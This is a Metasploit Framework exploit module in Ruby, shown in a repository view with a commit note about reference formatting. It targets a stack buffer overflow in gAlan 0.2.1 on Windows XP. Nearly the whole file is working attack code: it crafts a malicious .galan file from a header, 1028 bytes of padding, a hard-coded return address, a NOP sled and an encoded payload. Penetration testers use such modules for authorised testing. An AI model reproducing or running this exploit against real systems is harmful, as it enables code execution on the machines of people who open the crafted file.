Michael Schierl
910644400d
All other types of references use String arguments, but approximately half of the EDB references use Fixnums. Fix this by using Strings here too.
80 lines
1.7 KiB
Ruby
80 lines
1.7 KiB
Ruby
##
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# $Id$
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##
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# web site for more information on licensing and terms of use.
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# http://metasploit.com/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = NormalRanking
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include Msf::Exploit::FILEFORMAT
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'gAlan 0.2.1 Buffer Overflow',
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'Description' => %q{
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This module exploits a stack buffer overflow in gAlan 0.2.1
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by creating a specially crafted galan file.
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'Jeremy Brown <0xjbrown41[at]gmail.com>',
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'loneferret',
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],
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'Version' => '$Revision$',
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'References' =>
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[
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[ 'OSVDB', '60897' ],
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[ 'EDB', '10339' ],
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],
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'process',
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'DisablePayloadHandler' => 'true',
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},
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'Payload' =>
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{
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'Space' => 1000,
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'BadChars' => "\x00\x0a\x0d\x20\x0c\x0b\x09",
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'StackAdjustment' => -3500,
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},
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'Platform' => 'win',
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'Targets' =>
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[
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[ 'Windows XP Universal', { 'Ret' => 0x100175D0} ], # 0x100175D0 call esi @ glib-1_3
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],
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'Privileged' => false,
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'DisclosureDate' => 'Dec 07 2009',
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'DefaultTarget' => 0))
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register_options(
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[
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OptString.new('FILENAME', [ false, 'The file name.', 'msf.galan']),
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], self.class)
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end
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def exploit
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sploit = "Mjik"
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sploit << rand_text_alpha_upper(1028)
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sploit << [target.ret].pack('V')
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sploit << "\x90" * 45
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sploit << payload.encoded
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print_status("Creating '#{datastore['FILENAME']}' file ...")
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file_create(sploit)
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end
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end
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